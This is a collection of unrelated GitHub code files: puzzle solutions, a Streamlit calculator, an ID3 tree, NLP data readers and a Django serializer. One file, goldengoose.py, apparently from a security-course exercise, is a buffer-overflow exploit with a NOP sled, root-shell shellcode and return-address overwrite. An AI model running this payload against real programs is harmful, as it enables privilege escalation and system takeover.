'../inputs' / f'{script_path.stem}.txt'\n\n with input_path.open('r') as f:\n sequence = process_input(f)\n print(\"Part 1:\", part1(sequence))\n print(\"Part 2:\", part2(sequence))\n print(part2([(\"L\", 270)]))\n","repo_name":"FusionX9000/Advent-of-Code-2020","sub_path":"solutions/Day12.py","file_name":"Day12.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2779599005","text":"import streamlit as st\r\nimport math\r\n\r\n\r\nst.set_page_config(page_title='MathProdigy Calculator', page_icon='calc.png', layout=\"centered\", initial_sidebar_state=\"auto\", menu_items=None)\r\n\r\ndef bmi():\r\n def calculate_bmi(weight, height):\r\n bmi = weight / (height ** 2)\r\n return bmi\r\n\r\n st.markdown(\r\n \"

BMI Calculator

\",\r\n unsafe_allow_html=True)\r\n\r\n weight = st.number_input(\"Enter your weight (in kg)\")\r\n height = st.number_input(\"Enter your height (in meters)\")\r\n\r\n calculate_button = st.button(\"Calculate BMI\")\r\n\r\n if calculate_button:\r\n if weight > 0 and height > 0:\r\n bmi = calculate_bmi(weight, height)\r\n st.success(f\"Your BMI is: **{bmi:.2f}**\")\r\n else:\r\n st.warning(\"Please enter valid weight and height values.\")\r\n\r\n\r\ndef nCal():\r\n st.markdown(\r\n \"

Normal Calculator

\",\r\n unsafe_allow_html=True)\r\n\r\n num1 = st.number_input(\"Enter the first number\")\r\n num2 = st.number_input(\"Enter the second number\")\r\n\r\n operation = st.selectbox(\"Select an operation\", [\"+\", \"-\", \"*\", \"/\", \"%\"])\r\n\r\n calculate_button = st.button(\"Calculate\")\r\n\r\n if calculate_button:\r\n if operation == \"+\":\r\n result = num1 + num2\r\n elif operation == \"-\":\r\n result = num1 - num2\r\n elif operation == \"*\":\r\n result = num1 * num2\r\n elif operation == \"/\":\r\n if num2 != 0:\r\n result = num1 / num2\r\n else:\r\n st.warning(\"Cannot divide by zero.\")\r\n result = None\r\n elif operation == \"%\":\r\n result = (num1 * num2) / 100\r\n\r\n if result is not None:\r\n st.success(f\"Result: **{result}**\")\r\n\r\n\r\ndef sCal():\r\n st.markdown(\r\n \"

Scientific Calculator

\",\r\n unsafe_allow_html=True)\r\n\r\n num1 = st.number_input(\"Enter the number\")\r\n\r\n operation = st.selectbox(\"Select an operation\", [\"sqrt\", \"sin\", \"cos\", \"tan\"])\r\n\r\n calculate_button = st.button(\"Calculate\")\r\n\r\n if calculate_button:\r\n if operation == \"sqrt\":\r\n result = math.sqrt(num1)\r\n elif operation == \"sin\":\r\n result = math.sin(num1)\r\n elif operation == \"cos\":\r\n result = math.cos(num1)\r\n elif operation == \"tan\":\r\n result = math.tan(num1)\r\n\r\n formatted_result = \"{:.2f}\".format(result)\r\n st.success(f\"Result: **{formatted_result}**\")\r\n\r\n\r\n\r\n\r\n\r\ndef main():\r\n st.sidebar.markdown(\"\"\"\r\n \r\n

Calculator

\r\n \"\"\", unsafe_allow_html=True)\r\n st.sidebar.image(\r\n \"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQXQ6TjjZlNL1X6yug3xJcOzMNx2K2hByEH9g&usqp=CAU\",\r\n use_column_width=True)\r\n st.sidebar.markdown(\"

MathProdigy \"\r\n \"Calculator

\", unsafe_allow_html=True)\r\n selected_sidebar = st.sidebar.radio(\"Please Select One\", [\"BMI Calculator\", \"Normal Calculator\",\"Scientific Calculator\"])\r\n\r\n if selected_sidebar == \"BMI Calculator\":\r\n bmi()\r\n elif selected_sidebar == \"Normal Calculator\":\r\n nCal()\r\n elif selected_sidebar == \"Scientific Calculator\":\r\n sCal()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"mlproject5/py10","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28758707004","text":"\"\"\"\nID: mjmande1\nLANG: PYTHON3\nTASK: subset\n\"\"\"\n\ndef printM(m):\n for s in m:\n print(s)\n print(\"====\")\n\ndef solve( n, k):\n n = int(n) \n k = int(k) \n if (n < 0 or k < 0): return 0\n elif (matrix[n][k] != -1): return matrix[n][k]\n elif (n == 0 and k == 0): return 1\n else:\n matrix[n][k]=solve(n, k-1) + solve(n - k, k - 1)\n return matrix[n][k]\n\nfin = open('subset.in', 'r')\nfout = open('subset.out', 'w')\n\nN = int(fin.readline())\n\nif (N % 4 == 1 or N % 4 == 2):\n fout.write('0\\n')\n quit()\n\ny = N*2\nx = N\ntarget = N * (N + 1) / 2\n\nmatrix = [[-1 for i in range(N + 1)] for i in range(int(target / 2 + 1))]\n\nanser = solve(N * (N + 1) / 4, N) / 2\nfout.write(str(int(anser)) + '\\n')\nfout.close()\nfin.close() ","repo_name":"Boomer-Sooner-PC/Competitive-Programming","sub_path":"USACO/Subset Sums/subset.py","file_name":"subset.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41401572418","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# This software and supporting documentation are distributed by\n# Institut Federatif de Recherche 49\n# CEA/NeuroSpin, Batiment 145,\n# 91191 Gif-sur-Yvette cedex\n# France\n#\n# This software is governed by the CeCILL license version 2 under\n# French law and abiding by the rules of distribution of free software.\n# You can use, modify and/or redistribute the software under the\n# terms of the CeCILL license version 2 as circulated by CEA, CNRS\n# and INRIA at the following URL \"http://www.cecill.info\".\n#\n# As a counterpart to the access to the source code and rights to copy,\n# modify and redistribute granted by the license, users are provided only\n# with a limited warranty and the software's author, the holder of the\n# economic rights, and the successive licensors have only limited\n# liability.\n#\n# In this respect, the user's attention is drawn to the risks associated\n# with loading, using, modifying and/or developing or reproducing the\n# software by the user in light of its specific status of free software,\n# that may mean that it is complicated to manipulate, and that also\n# requirements in conditions enabling the security of their systems and/or\n# data to be ensured and, more generally, to use and operate it in the\n\n\"\"\"\nThis program converts volumes contained in a folder into buckets.\nIt writes bucket files in the output folder\n\"\"\"\nimport argparse\nimport sys\nimport os\nimport csv\nimport six\n\n\ndef parse_args(argv):\n \"\"\"Parses command-line arguments\n\n Args:\n argv: a list containing command line arguments\n\n Returns:\n args\n \"\"\"\n\n # Parse command line arguments\n parser = argparse.ArgumentParser(\n prog='suppress_files_from_csv.py',\n description='Suppress files listed in csv')\n parser.add_argument(\n \"-c\", \"--csv_file\", type=str, required=True,\n help='csv file containing file names to suppress.')\n\n args = parser.parse_args(argv)\n\n return args\n\n\ndef suppress(csv_file_name):\n \"\"\"Suppress files listed in csv\n \"\"\"\n print(csv_file_name)\n print(f\"Suppressing filenames contained in {csv_file_name}...\", end='')\n removed = 0\n with open(csv_file_name, 'r') as f:\n reader = csv.reader(f)\n for idx, row in enumerate(reader):\n filename = row[0]\n print(\".\", end='')\n if os.path.isfile(filename):\n removed += 1\n print(filename)\n os.remove(filename)\n os.remove(f\"{row[0]}.minf\")\n print(\"DONE\")\n print(f\"Number of removed files = {removed}\")\n print(f\"Number of files in csv = {idx+1}\")\n\n\ndef main(argv):\n \"\"\"Reads argument line and creates cropped files and pickle file\n\n Args:\n argv: a list containing command line arguments\n \"\"\"\n\n # This code permits to catch SystemExit with exit code 0\n # such as the one raised when \"--help\" is given as argument\n try:\n # Parsing arguments\n args = parse_args(argv)\n suppress(args.csv_file)\n except SystemExit as exc:\n if exc.code != 0:\n six.reraise(*sys.exc_info())\n\n\nif __name__ == '__main__':\n # This permits to call main also from another python program\n # without having to make system calls\n main(argv=sys.argv[1:])\n","repo_name":"neurospin/deep_folding","sub_path":"deep_folding/brainvisa/utils/suppress_files_from_csv.py","file_name":"suppress_files_from_csv.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"36047374897","text":"import sys\nimport os\n\noffset = int(sys.argv[1])\n\nNOPSLED = bytes.fromhex('90')\nNOPSLED = NOPSLED * 0x40\n\nSHELLCODE = b\"\\x48\\x31\\xff\\xb0\\x69\\x0f\\x05\\x48\\x31\\xd2\\x48\\xbb\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xeb\\x08\\x53\\x48\\x89\\xe7\\x48\\x31\\xc0\\x50\\x57\\x48\\x89\\xe6\\xb0\\x3b\\x0f\\x05\\x6a\\x01\\x5f\\x6a\\x3c\\x58\\x0f\\x05\"\n\n\nRETURNADDRESS = b\"00007fff\"\nRETURNADDRESS2 = b\"fffde000\"\nRETURNADDRESS = int(RETURNADDRESS, 16)\nRETURNADDRESS2 = int(RETURNADDRESS2, 16) + 0x20 * offset\nRETURNADDRESS = RETURNADDRESS.to_bytes(4, 'little')\nRETURNADDRESS2 = RETURNADDRESS2.to_bytes(4, 'little')\nRETURNADDRESSBLOCK = (RETURNADDRESS2 + RETURNADDRESS) * 0x100\n\nwith os.fdopen(sys.stdout.fileno(), \"wb\", closefd=False) as stdout:\n stdout.write(NOPSLED + SHELLCODE + RETURNADDRESSBLOCK + B'\\n')\n\nwith os.fdopen(sys.stderr.fileno(), \"w\", closefd=False) as stderr:\n stderr.write(RETURNADDRESS2.hex() + RETURNADDRESS.hex() + \"\\n\")","repo_name":"MostlyMaple/GoldenGoose","sub_path":"victim27/goldengoose.py","file_name":"goldengoose.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11332488797","text":"\"\"\"\nauthor: Arif Bashar\n\nCreate an ID3 decision tree to classify some datasets\n\"\"\"\n\nimport sys\nimport numpy as np\n\ndef sortColumn(data, column):\n return data[data[:,column].argsort()]\n\n# Return a list of probabilities for each class in the last column\ndef getClassProb(data):\n classes = np.unique(data[:, -1])\n probabilities = []\n for index in range(len(classes)):\n count = np.count_nonzero(data[:,-1] == classes[index])\n probabilities.append(count/len(data))\n return probabilities\n\n# Get information of our class labels\ndef getInfo(data):\n probabilities = getClassProb(data)\n\n info = sum(probabilities * -np.log2(probabilities))\n return info\n\n# Determining potential binary split points based on attribute value changes\n# Return dictionary containing potential split points\ndef getPotSplits(data):\n\n \"\"\"\n Using a dictionary to store the potential splits for each column\n key: column -- value: split point\n \n \"\"\"\n\n splits = {}\n _ , colSize = data.shape\n colSize -= 1\n\n for colIndex in range(colSize):\n data = sortColumn(data, colIndex)\n splits[colIndex] = [] # Use a list to store all potential splits \n values = data[:, colIndex] # Grab all values for the column\n uniqueValues = np.unique(values) # Get rid of duplicates (we only want value changes)\n\n # Enter this loop to calculate actual split points\n for index in range(len(uniqueValues)):\n if index > 0: # Skip index 0 because we can't get its previous \n current = uniqueValues[index] \n previous = uniqueValues[index-1]\n split = (current + previous) / 2\n splits[colIndex].append(split)\n\n return splits\n\n# Average the two values to make the split: those examples less than the split \n# value and those examples greater than or equal to the split value\n# Return two lists: all values above split and all values below specified split\ndef splitData(data, column, splitValue):\n values = data[:, column]\n greaterValues = data[values >= splitValue] \n lesserValues = data[values < splitValue]\n\n return greaterValues, lesserValues\n\n# Calculate the entropy so we can determine the best split\ndef getEntropy(greaterData, lesserData):\n dataCount = len(greaterData) + len(lesserData)\n greaterProb = len(greaterData) / dataCount\n lesserProb = len(lesserData) / dataCount\n entropy = (lesserProb * getInfo(lesserData) + greaterProb * getInfo(greaterData))\n\n return entropy\n\n# Determine the best split where \ndef getBestSplit(data, potentialSplits):\n # We will decide the best split based on max information gain\n maxGain = 0\n\n for column in potentialSplits:\n data = sortColumn(data, column)\n for split in potentialSplits[column]:\n greaterValues, lesserValues = splitData(data, column, split)\n entropy = getEntropy(greaterValues, lesserValues)\n gain = getInfo(data) - entropy\n\n if (maxGain < gain):\n maxGain = gain\n bestSplit = split\n bestColumn = column\n\n return bestColumn, bestSplit, maxGain\n\n# Check terminal cases\ndef isTerminal(data):\n labelColumn = data[:, -1]\n classes = np.unique(labelColumn)\n\n if len(classes) == 1:\n return True\n else:\n return False\n\n# Classify the data given what is in the last column\ndef classify(data):\n classes = np.unique(data[:, -1])\n uniqueClasses, uniqueCount = np.unique(classes, return_counts=True)\n \n index = uniqueCount.argmax()\n classification = uniqueClasses[index]\n\n return classification\n\n# Main recursive algorithm to build our decision tree\ndef buildTree(data):\n if isTerminal(data):\n return classify(data)\n \n else:\n potentialSplits = getPotSplits(data)\n bestColumn, bestSplit, _ = getBestSplit(data, potentialSplits)\n greaterValues, lesserValues = splitData(data, bestColumn, bestSplit)\n\n question = \"{} <= {}\".format(bestColumn, bestSplit)\n tree = {question: []}\n leftNode = buildTree(lesserValues)\n rightNode = buildTree(greaterValues)\n\n if rightNode == leftNode:\n tree = rightNode\n else:\n tree[question].append(leftNode)\n tree[question].append(rightNode)\n\n return tree\n\n# Use testing data and try to predict its classification one row at a time\ndef predict(testData, tree):\n question = list(tree.keys())[0]\n col, comparison, value = question.split(\" \")\n\n # Ask the question\n if comparison == \"<=\":\n if testData[int(col)] <= float(value):\n prediction = tree[question][0]\n else:\n prediction = tree[question][1]\n\n # Base case for recursion\n if not isinstance(prediction, dict):\n return prediction\n \n # Recurse through\n else:\n remainingTree = prediction\n return predict(testData, remainingTree)\n\n# Returns number of correct predictions\ndef getAccuracy(data, tree):\n accuracy = 0\n for row in range(len(data)):\n prediction = predict(data[row], tree)\n if prediction == data[row][-1]:\n accuracy += 1\n return accuracy\n \ndef main():\n trainDataName = (sys.argv[1])\n testDataName = (sys.argv[2])\n\n train = np.loadtxt(trainDataName)\n test = np.loadtxt(testDataName)\n\n if len(train.shape) < 2:\n train = np.array([train])\n if len(test.shape) < 2:\n test = np.array([test])\n\n tree = buildTree(train)\n print(tree)\n # print(getAccuracy(test, tree))\n\n \n\nmain()","repo_name":"arif-bashar/id3-decision","sub_path":"id3.py","file_name":"id3.py","file_ext":"py","file_size_in_byte":5593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15176706014","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nCan you modify your previous Insertion Sort implementation to keep track of the number of \nshifts it makes while sorting? The only thing you should print is the number of shifts made \nby the algorithm to completely sort the array. A shift occurs when an element's position \nchanges in the array. Do not shift an element if it is not necessary.\n\nFunction Description:\nComplete the runningTime function below.\nrunningTime has the following parameter:\nINPUT:\n int arr[n]: an array of integers\nOUTPUT:\n int: the number of shifts it will take to sort the array\n \nLink to problem statement:\nhttps://www.hackerrank.com/challenges/runningtime/problem\n\"\"\"\n\n#!/bin/python3\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\"\"\"\nComplete the 'runningTime' function below.\nThe function is expected to return an INTEGER.\nThe function accepts INTEGER_ARRAY arr as parameter.\n\nLink to problem statement:\nhttps://www.hackerrank.com/challenges/runningtime/problem\n\"\"\"\n\ndef runningTime(arr):\n total_shifts = 0\n for i in range(1, len(arr)):\n shifts = 0\n target_num = arr[i]\n j = i -1\n while j>=0 and (arr[j] > target_num):\n arr[j+1] = arr[j]\n j -= 1\n shifts += 1\n arr[j+1] = target_num\n #print(shifts, arr)\n total_shifts += shifts\n return total_shifts\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n n = int(input().strip())\n arr = list(map(int, input().rstrip().split()))\n result = runningTime(arr)\n fptr.write(str(result) + '\\n')\n fptr.close()\n","repo_name":"akerimov/HACKER_RANK","sub_path":"RunningTime.py","file_name":"RunningTime.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42460805732","text":"import json\nimport logging\nfrom collections import Counter\nfrom itertools import combinations\nfrom typing import Dict, List, Tuple\n\nfrom allennlp.data.dataset_readers.dataset_reader import DatasetReader\nfrom allennlp.data.fields import Field, LabelField, MetadataField, TextField\nfrom allennlp.data.instance import Instance\nfrom allennlp.data.token_indexers import SingleIdTokenIndexer, TokenIndexer\nfrom allennlp.data.tokenizers import Token, Tokenizer\nfrom overrides import overrides\n\nlogger = logging.getLogger(__name__) # pylint: disable=invalid-name\n\n\n@DatasetReader.register(\"scirex_coreference_train_reader\")\nclass ScirexCoreferenceTrainReader(DatasetReader):\n def __init__(\n self,\n sample_train: bool = False,\n tokenizer: Tokenizer = None,\n token_indexers: Dict[str, TokenIndexer] = None,\n lazy: bool = False,\n ) -> None:\n super().__init__(lazy)\n self._sample_train = sample_train\n self._tokenizer = tokenizer\n self._token_indexers = token_indexers or {\"tokens\": SingleIdTokenIndexer()}\n\n @overrides\n def _read(self, file_path: str):\n pairs = self.generate_pairs(file_path)\n\n logger.info(\"NUMBER OF PAIRS - %d\", len(pairs))\n\n c = Counter([x[2] for x in pairs])\n min_count = min(c.values())\n prob = {k: min(1, min_count / v) for k, v in c.items()}\n\n logger.info(\"Loaded all pairs from %s\", file_path)\n for w1, w2, gold_label in pairs:\n yield self.text_to_instance(\n w1, w2, gold_label, prob[gold_label] if \"train.jsonl\" in file_path else 1.0\n )\n\n @staticmethod\n def generate_pairs(file_path):\n pairs = []\n with open(file_path, \"r\") as data_file:\n for _, line in enumerate(data_file):\n ins = json.loads(line)\n entities: List[Tuple[int, int, str]] = [tuple(x) for x in ins[\"ner\"]]\n\n clusters = {}\n for k, vlist in ins[\"coref\"].items():\n for v in vlist:\n if tuple(v) not in clusters:\n clusters[tuple(v)] = []\n clusters[tuple(v)].append(k)\n\n clusters = {k: set(v) for k, v in clusters.items()}\n\n for mention_1, mention_2 in combinations(entities, 2):\n type_1, type_2 = mention_1[2], mention_2[2]\n if type_1 != type_2:\n continue\n\n cluster_labels_1, cluster_labels_2 = (\n clusters.get((mention_1[0], mention_1[1]), set()),\n clusters.get((mention_2[0], mention_2[1]), set()),\n )\n w1, w2 = (\n \" \".join(ins[\"words\"][mention_1[0] : mention_1[1]]),\n \" \".join(ins[\"words\"][mention_2[0] : mention_2[1]]),\n )\n\n if w1.lower() == w2.lower() or len(cluster_labels_1 & cluster_labels_2) > 0:\n gold_label = 1\n elif len(cluster_labels_1) == 0 and len(cluster_labels_2) == 0:\n continue\n elif len(cluster_labels_1 & cluster_labels_2) == 0:\n gold_label = 0\n\n pairs.append((type_1 + \" \" + w1, type_2 + \" \" + w2, gold_label))\n return pairs\n\n @overrides\n def text_to_instance(\n self, # type: ignore\n premise: str,\n hypothesis: str,\n label: int,\n prob: float = None,\n ) -> Instance:\n fields: Dict[str, Field] = {}\n premise_tokens = self._tokenizer.tokenize(premise)\n hypothesis_tokens = self._tokenizer.tokenize(hypothesis)\n\n fields[\"tokens\"] = TextField(\n [Token(\"[CLS]\")] + premise_tokens + [Token(\"[SEP]\")] + hypothesis_tokens, self._token_indexers\n )\n \n fields[\"label\"] = LabelField(label, skip_indexing=True)\n\n metadata = {\n \"premise_tokens\": [x.text for x in premise_tokens],\n \"hypothesis_tokens\": [x.text for x in hypothesis_tokens],\n \"keep_prob\": prob,\n }\n fields[\"metadata\"] = MetadataField(metadata)\n\n return Instance(fields)\n","repo_name":"bernaljg/N-aryRels","sub_path":"SciREX/scirex/data/dataset_readers/coreference_train_reader.py","file_name":"coreference_train_reader.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43039093957","text":"S=map(int,input())\ninput()\nmask=sum(2**i for i in map(int,input().split()))\nMOD=998244353\n\ndigits=0 # set(S[:i]) をbitで表したもの\nSpre=0 # int(S[:i])%MOD\ndps=[0]*1024 # 総和\ndpc=[0]*1024 # 個数\nfor i,c in enumerate(S):\n\tnew_dpc=[0]*1024\n\tnew_dps=[0]*1024\n\tfor m in range(1,1024):\n\t\tfor d in range(10):\n\t\t\tnew_dpc[m|1<\")[1:]\n seq_lst=[i.split(\"\\n\")[1] for i in fa_lst]\n val_pam(seq_lst)\n for index,ele in enumerate(fa_lst): \n num=index+1\n seq=ele.split(\"\\n\")[1]\n seq30.append(seq)\n new_ele=\">\"+ele\n new_str+=new_ele\n if num%9==0:##because the quikfold can just run the pipline maximum 9 jobs!!!\n \n input_matrix=featurization.get_input(new_str)\n output=predict(this_input=input_matrix,typ=typ_,full_length=full_length,site=site)\n all_list+=list(output)\n new_str=\"\"\n elif num==len(fa_lst) or (len(fa_lst)-num)==(len(fa_lst)%9-1):\n new_str=\"\"\n for k,i in enumerate(fa_lst[index:]): \n seq=i.split(\"\\n\")[1]\n if num!=len(fa_lst)-len(fa_lst)%9+1:#the first item of interaction\n seq30.append(seq)\n ele=\">\"+i\n num+=1\n new_str+=ele\n input_matrix=featurization.get_input(new_str)\n output=predict(input_matrix,typ=typ_,full_length=full_length,site=site)\n all_list+=list(output)\n break\n rsl=pd.DataFrame({\"30mer\":seq30,\"GNL-Scorer\":all_list})\n rsl.to_csv(\"%s_GNL_result.csv\" % typ_,sep=\",\")\n \n","repo_name":"TerminatorJ/CRISPR-TRAP-seq","sub_path":"prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"40640800247","text":"from django.contrib.auth.models import User\nfrom django.db import transaction\nfrom api.serializers.NonSensitiveUserProfileSerializer import NonSensitiveUserProfileSerializer\nfrom ..validators.FirstAndLastNameValidator import validate_first_name, validate_last_name\nfrom utils.EmailSendingFailedError import EmailSendingFailedError\nfrom api.helper_functions import send_email_helper\nfrom rest_framework import serializers\nfrom api.helper_functions import delete_file_from_media\nimport logging\n\nlogger = logging.getLogger('django')\n\n\nclass CompleteUserProfileSerializer(NonSensitiveUserProfileSerializer):\n\n USER_FIELDS = ['first_name', 'last_name']\n USERPROFILE_FIELDS = ['city', 'state', 'country', 'timezone', 'bio', 'photo', 'slack_handle', 'linkedin', 'instagram', 'facebook', 'twitter', 'medium']\n\n first_name = serializers.CharField(validators=[validate_first_name])\n last_name = serializers.CharField(validators=[validate_last_name])\n\n class Meta:\n model = User\n fields = ['id', 'first_name', 'last_name', 'email', 'status', 'highest_role', 'date_joined', 'role_teams', 'city', 'state', 'country', 'timezone', 'bio', 'photo', 'slack_handle', 'linkedin', 'instagram', 'facebook', 'twitter', 'medium']\n\n extra_kwargs = {\n 'email': {'read_only': True},\n 'date_joined': {'read_only': True},\n }\n\n def update(self, instance, validated_data):\n user = instance\n profile = instance.userprofile\n userprofile_data = validated_data.pop('userprofile')\n email = user.email\n photo_before_update = profile.photo\n\n # set user data\n user.first_name = validated_data.get('first_name', instance.first_name)\n user.last_name = validated_data.get('last_name', instance.last_name)\n\n # set profile data\n for k, v in userprofile_data.items():\n setattr(profile, k, v)\n with transaction.atomic():\n user.save()\n profile.save()\n email_sent = send_email_helper(email, 'User Profile updated at WWCode-Silicon Valley', 'userprofile_update_email.html', {})\n if not email_sent:\n raise EmailSendingFailedError()\n photo_after_update = profile.photo\n if photo_before_update != photo_after_update and photo_before_update:\n try:\n delete_file_from_media(photo_before_update.name)\n except Exception as e:\n logger.error(f'CompleteUserProfileSerializer Update: error deleting previous image: {e}')\n return user\n","repo_name":"blulady/WWCode-SV","sub_path":"api/wwcodesvtools/api/serializers/CompleteUserProfileSerializer.py","file_name":"CompleteUserProfileSerializer.py","file_ext":"py","file_size_in_byte":2569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18966738567","text":"import tensorflow as tf\nimport numpy as np\nimport glob\nimport struct\nimport data\n\n\n\n\ndef get_mask(actual_len, target_len):\n if actual_len>=target_len:\n return tf.ones([target_len],tf.float32)\n else:\n ones=tf.ones([actual_len],tf.float32)\n zeros=tf.zeros([target_len-actual_len],tf.float32)\n return tf.concat([ones,zeros],axis=0)\n\n\n\ndef raw_record_generator(data_path, img_feature_path, logger, sim_img_feature_path = None, dissim_img_feature_path = None, max_img_num=10):\n \"\"\"Generates tf.Examples from data files.\n\n Binary data format: . represents the byte size\n of . is serialized tf.Example proto. The tf.Example contains\n the tokenized article text and summary.\n\n Args:\n data_path:\n Path to tf.Example data files. Can include wildcards, e.g. if you have several training data chunk files train_001.bin, train_002.bin, etc, then pass data_path=train_* to access them all.\n single_pass:\n Boolean. If True, go through the dataset exactly once, generating examples in the order they appear, then return. Otherwise, generate random examples indefinitely.\n\n Yields:\n Deserialized tf.Example.\n \"\"\"\n\n filelist = glob.glob(data_path) # get the list of datafiles\n feature_list = glob.glob(img_feature_path)\n assert filelist, ('Error: Empty filelist at %s' % data_path) # check filelist isn't empty\n assert feature_list, ('Error: Empty feature_list at %s' % img_feature_path)\n\n filelist = sorted(filelist)\n feature_list = sorted(feature_list)\n\n sim_feature_list = glob.glob(sim_img_feature_path)\n dissim_feature_list = glob.glob(dissim_img_feature_path)\n assert sim_feature_list, ('Error: Empty feature_list at %s' % sim_img_feature_path)\n assert dissim_feature_list, ('Error: Empty feature_list at %s' % dissim_img_feature_path)\n sim_feature_list = sorted(sim_feature_list)\n dissim_feature_list = sorted(dissim_feature_list)\n # text_img_pairs = list(zip(filelist, feature_list, sim_feature_list, dissim_feature_list))\n\n \n\n for c_idx in range(len(filelist)):\n text_f = filelist[c_idx]\n img_f = feature_list[c_idx]\n reader = open(text_f, 'rb')\n chunk_img_arr = np.load(img_f)\n sim_img_f = sim_feature_list[c_idx]\n dissim_img_f = dissim_feature_list[c_idx]\n chunk_sim_img_arr = np.load(sim_img_f)\n chunk_dissim_img_arr = np.load(dissim_img_f)\n img_idx = 0\n img_num = len(list(chunk_img_arr))\n while True:\n len_bytes = reader.read(8)\n if not len_bytes: break # finished reading this file\n if img_idx == img_num: break\n img_feature = chunk_img_arr['arr_{}'.format(img_idx)]\n img_feature = img_feature[:, :max_img_num, :]\n #For similar images\n #Dataset has max 10 similar and 10 dissimilar images per article\n sim_img_feature = chunk_sim_img_arr['arr_{}'.format(img_idx)]\n sim_img_feature = sim_img_feature[:, :max_img_num, :]\n #For dissimilar images\n dissim_img_feature = chunk_dissim_img_arr['arr_{}'.format(img_idx)]\n dissim_img_feature = dissim_img_feature[:, :max_img_num, :]\n img_idx += 1\n str_len = struct.unpack('q', len_bytes)[0]\n example_str = struct.unpack('%ds' % str_len, reader.read(str_len))[0]\n e=tf.train.Example.FromString(example_str)\n try:\n article_text = e.features.feature['article'].bytes_list.value[0] # the article text was saved under the key 'article' in the data files\n abstract_text = e.features.feature['abstract'].bytes_list.value[0] # the abstract text was saved under the key 'abstract' in the data files\n url_hash = e.features.feature['url_hash'].bytes_list.value[0]\n except ValueError:\n logger.error('Failed to get article or abstract or url_hash from example')\n continue\n if len(article_text)==0: \n logger.warning('Found an example with empty article text. Skipping it.')\n elif len(abstract_text)==0:\n logger.warning('Found an example with empty abstract text. Skipping it.')\n else:\n yield (url_hash, article_text , abstract_text , img_feature, sim_img_feature, dissim_img_feature)\n\n\n\ndef example_generator(raw_dataset,params,vocab,batch_size):\n #Example generator\n for raw_record in raw_dataset:\n url_hash = raw_record[0].numpy().decode(\"utf-8\") \n article=raw_record[1].numpy().decode(\"utf-8\")\n abstract=raw_record[2].numpy().decode(\"utf-8\")\n img_feature=raw_record[3]\n if params.mode == \"train\":\n sim_img_feature = tf.squeeze(raw_record[4],axis=0) #shape (10, img_embed_dim)\n dissim_img_feature=tf.squeeze(raw_record[5], axis=0)\n img_feature = tf.squeeze(img_feature, axis=0) # shape == (img_num, img_embed_dim)\n img_num = img_feature.shape[0]\n abstract_sentences = [sent.strip() for sent in data.abstract2sents(abstract)]\n start_decoding = vocab.word2id(data.START_DECODING)\n stop_decoding = vocab.word2id(data.STOP_DECODING)\n # Process the article\n article_words = article.split()\n if len(article_words) > params.max_enc_steps:\n article_words = article_words[:params.max_enc_steps]\n enc_len = len(article_words) # store the length after truncation but before padding\n enc_input = [vocab.word2id(w) for w in article_words] # list of word ids; OOVs are represented by the id for UNK token\n # Process the abstract\n abstract = ' '.join(abstract_sentences) # string\n abstract_words = abstract.split() # list of strings\n abs_ids = [vocab.word2id(w) for w in abstract_words] # list of word ids; OOVs are represented by the id for UNK token\n\n # Get the decoder input sequence and target sequence\n dec_input, target = data.get_dec_inp_targ_seqs(abs_ids, params.max_dec_steps, start_decoding, stop_decoding)\n dec_len = len(dec_input)\n\n #Testing if any of the lengths is zero or not\n if img_num==0 or enc_len==0 or dec_len==0:\n continue\n\n if params.pointer_gen:\n # Store a version of the enc_input where in-article OOVs are represented by their temporary OOV id; also store the in-article OOVs words themselves\n enc_input_extend_vocab, article_oovs = data.article2ids(article_words, vocab)\n\n # Get a verison of the reference summary where in-article OOVs are represented by their temporary article OOV id\n abs_ids_extend_vocab = data.abstract2ids(abstract_words, vocab, article_oovs)\n\n # Overwrite decoder target sequence so it uses the temp article OOV ids\n _, target = data.get_dec_inp_targ_seqs(abs_ids_extend_vocab, params.max_dec_steps, start_decoding, stop_decoding)\n \n\n enc_mask=get_mask(enc_len,enc_len)\n dec_mask=get_mask(dec_len,params.max_dec_steps)\n if params.mode == \"train\" and \"SIMPAD\" in params.experiment:\n img_mask=get_mask(img_num,params.max_img_num)\n else:\n img_mask=get_mask(img_num,img_num)\n \n \n \n output = {\n \"enc_len\": enc_len,\n \"enc_input\": enc_input,\n \"enc_input_extend_vocab\": enc_input_extend_vocab,\n \"enc_mask\": enc_mask,\n \"article_oovs\": article_oovs,\n \"dec_input\": dec_input,\n \"target\": target,\n \"dec_len\": dec_len,\n \"dec_mask\":dec_mask,\n \"article\": article,\n \"abstract\": abstract,\n \"abstract_sents\": abstract_sentences,\n \"img_feature\": img_feature,\n \"img_num\":img_num,\n \"img_mask\":img_mask,\n \"url_hash\" : url_hash\n }\n\n if 